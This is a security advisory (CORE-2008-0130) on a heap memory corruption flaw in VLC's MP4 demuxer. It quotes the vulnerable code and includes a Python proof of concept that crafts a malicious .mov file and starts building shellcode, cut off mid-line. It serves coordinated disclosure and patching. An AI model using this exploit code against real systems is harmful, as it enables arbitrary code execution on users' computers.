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Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs
VLC media player chunk context validation error
*Advisory Information*
Title: VLC media player chunk context validation error
Advisory ID: CORE-2008-0130
Advisory URL: http://www.coresecurity.com/?action=item&id=2147
Date published: 2008-02-27
Date of last update: 2008-02-27
Vendors contacted: VLC, Miro player
Release mode: Coordinated release
*Vulnerability Information*
Class: Arbitrary memory corruption
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
Bugtraq ID: 28007
CVE Name: CVE-2008-0984
*Vulnerability Description*
VLC player [1] is an open-source popular multimedia player for various
audio and video formats, and various streaming protocols. It can also be
used as a server to stream in unicast or multicast in IPv4 or IPv6 on a
high-bandwidth network.
The VideoLAN (VLC) media player package is vulnerable to an arbitrary
memory corruption vulnerability, which can be exploited by malicious
remote attackers to compromise a user's system. The vulnerability is
caused due to the VLC ('demux/mp4/mp4.c') library not properly
sanitizing certain tags on a MOV file before using them to index an
array on the heap. This can be exploited to get arbitrary code execution
by opening a specially crafted file.
*Vulnerable Packages*
. VLC 0.8.6d and earlier.
. Miro Player 1.1 and earlier, uses VLC code.
*Non-vulnerable Packages*
. VLC 0.8.6e
*Vendor Information, Solutions and Workarounds*
The VideoLAN project has issued a security advisory describing this
vulnerability [2], partially quoted below.
VLC media player's MPEG-4 file format parser (a.k.a. the MP4 demuxer)
suffers from an arbitrary memory overwrite vulnerability when using
specially crafted (invalid) MP4 input files. If successful, a malicious
third party could trigger execution of arbitrary code within the context
of the VLC media player, or otherwise crash the player instance.
Exploitation of the MP4 demuxer problem requires the user to explicitly
open a specially crafted file. The user should refrain from opening
files from untrusted third parties or accessing untrusted Web sites (or
disable the VLC browser plugins), until the patch is applied.
VLC media player 0.8.6e addresses these issues and introduces further
usability fixes. The source code patch can be downloaded separately here
[3]. Pre-compiled packages will be available at the usual download
locations shortly.
*Credits*
These vulnerabilities were discovered and researched by Felipe Manzano
and Anibal Sacco, both of them from CORE IMPACT's Exploit Writing Team
(EWT), Core Security Technologies.
*Technical Description / Proof of Concept Code*
The vulnerability resides in the following code at 'demux/mp4/mp4.c'.
User supplied data is used to initialize an arbitrary index of a heap
array.
/-----------
910 if( ( !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "stco" ) )&&
911 !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "co64" ) ) )||
912 ( !(p_stsc = MP4_BoxGet( p_demux_track->p_stbl, "stsc" ) ) ))
913 {
914 return( VLC_EGENERIC );
915 }
.. ..
943 i_last = p_demux_track->i_chunk_count; /* last chunk proceded */
944 i_index = p_stsc->data.p_stsc->i_entry_count;
945 if( !i_index )
946 {
947 msg_Warn( p_demux, "cannot read chunk table or table empty" );
948 return( VLC_EGENERIC );
949 }
950
951 while( i_index-- )
952 {
953 for( i_chunk = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
954 i_chunk < i_last; i_chunk++ )
955 {
956 p_demux_track->chunk[i_chunk].i_sample_description_index 957
p_stsc->data.p_stsc->i_sample_description_index[i_index];
958 p_demux_track->chunk[i_chunk].i_sample_count 959 p_stsc->data.p_stsc->i_samples_per_chunk[i_index];
960 }
961 i_last = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
962 }
- -----------/
At line '910/912', the 'MP4_BoxGet()' function reads data from the file
and returns a structure of type 'MP4_Box_t' with the field
'i_chunk_count' controlled by the user without properly checking the value.
This value will be used later (at line '956' and '958') within a for
statement to index an array and consequently filling the heap buffer,
but due to the fact that 'i_last' (controlled by user) is used as a
limit for the writing without any kind of check it is possible to write
any value on almost any memory address.
It is important to note that 'i_last' is not fully controlled by the
attacker in the first iteration but as seen in code at line '961' it
gets the value of 'p_stsc->data.p_stsc->i_first_chunk[i_index] - 1'
which is one of the controlled fields.
We say almost because in each assignation the user have great control
of the values of 'i_sample_description_index' and 'i_sample_count'
fields, making it possible to write 8 contiguous bytes every 44 bytes.
This is the structure definition:
/-----------
/* Contain all information about a chunk */
typedef struct
{
uint64_t i_offset; /* absolute position of this chunk in the file */
uint32_t i_sample_description_index; /* index for SampleEntry to
use */
uint32_t i_sample_count; /* how many samples in this chunk */
uint32_t i_sample_first; /* index of the first sample in this
chunk */
/* now provide way to calculate pts, dts, and offset without to
much memory and with fast acces */
/* with this we can calculate dts/pts without waste memory */
uint64_t i_first_dts;
uint32_t *p_sample_count_dts;
uint32_t *p_sample_delta_dts; /* dts delta */
uint32_t *p_sample_count_pts;
int32_t *p_sample_offset_pts; /* pts-dts */
/* TODO if needed add pts
but quickly *add* support for edts and seeking */
} mp4_chunk_t;
- -----------/
In this way, as we demonstrate in the following proof of concept (PoC),
it is possible to build a file that contains specially crafted 'stsc'
and 'co64' atoms allowing an attacker to write any value in practically
any address.
Understanding this, it is possible to patch some critical memory
address to get code execution. And with some voodoo magic, to write a
scattered payload that builds a fully functional shellcode on some other
place to subsequently jump to.
The following python code will generate a .mov file proving the memory
corruption sometimes overwriting function pointers (tested on a Gentoo
Linux). More efforts can be made to craft a quicktime movie file that
allocates heap in a more predictive way, so the array that we can freely
index is placed in a deterministic predefined way leading to a more
reliable function pointer overwriting.
/-----------
#vlc_poc.py:
import struct
import sys
class mov_exploit:
def
__init__(self,blocksize,gotbase,gotsize,shellcodebase=None,arch='win32'):
self.arch=arch
self.blocksize=blocksize
self.gotbase=gotbase
self.gotsize=gotsize
if shellcodebase!=None:
self.shellcodebase=shellcodebase
else:
self.shellcodebase=self.revert_calc(self.make_calc(self.gotbase+self.gotsize+100))
mdat = self.mkatom("mdat","MALDAAAAAD!")
mvhd = self.mkatom("mvhd", "A"*100)
WW = []
jmpaddress = struct.pack(">L",0x42424242)
maximo=-52000
minimo=-51000
WW.append((maximo,jmpaddress*2))
WW.append((minimo,jmpaddress*2))
stscjmp = self.mkatom("stsc",self._mkstsc(WW))
trakjmp = self._mktrak(stscjmp)
moov = self.mkatom("moov",trakjmp+mvhd)
ftyp self.mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
self.file = ftyp+mdat+moov
def __str__(self):
return self.file
def mkatom(self,type,data):
if len(type) != 4:
raise "type must by of length 4!!!"
mov = ""
mov += struct.pack(">L",len(data)+8)
mov += type
mov += data
return mov
def make_calc(self,x):
r3t =(((x-4) / self.blocksize) + 1)
return r3t
def revert_calc(self,x):
r = (self.blocksize * (x-1)) + 4
return r
def _reverse(self,s):
l = list(s)
l.reverse()
return "".join(l)
def _mkstsc(self,l):
r3t = ""
r3t += struct.pack(">L",1)
r3t += struct.pack(">L",len(l)+1)
oldwhere = 0
for where, what in l:
oldwhere = where
if len(what) != 8:
raise "Wrong what leng"
r3t += struct.pack(">L",where) + what #self._reverse(what)
r3t += struct.pack(">L",where + 1) + "FELISCCC"
return r3t
def _mkstsc(self,l):
r3t = ""
r3t += struct.pack(">L",1) #version, format needed
r3t += struct.pack(">L",len(l)+1) #number of stsc chunks
oldwhere = 0
for where, what in l:
oldwhere = where
if len(what) != 8:
raise "Wrong what leng %d"%len(what)
r3t += struct.pack(">L",where) + what #self._reverse(what)
r3t += struct.pack(">L",where + 1) + "FELISaLS"
return r3t
def _pack(self,s):
if len(s) != 8:
raise "Wrong size!"
return s[3]+s[2]+s[1]+s[0]+s[7]+s[6]+s[5]+s[4]
def _pack4(self,s):
if len(s) != 4:
raise "Wrong size!"
return s[3]+s[2]+s[1]+s[0]
def _mkshellcode(self,payload):
if len(payload) % 4:
payload += "X" * (4 - len(payload) % 4)
payload = self._reverse(payload)
movesp = '\xbc'
push = '\x68'
jmps = '\xeb'
nop = '\x90'
shellcode = []
scode = ""
scode += movesp +
struct.pack("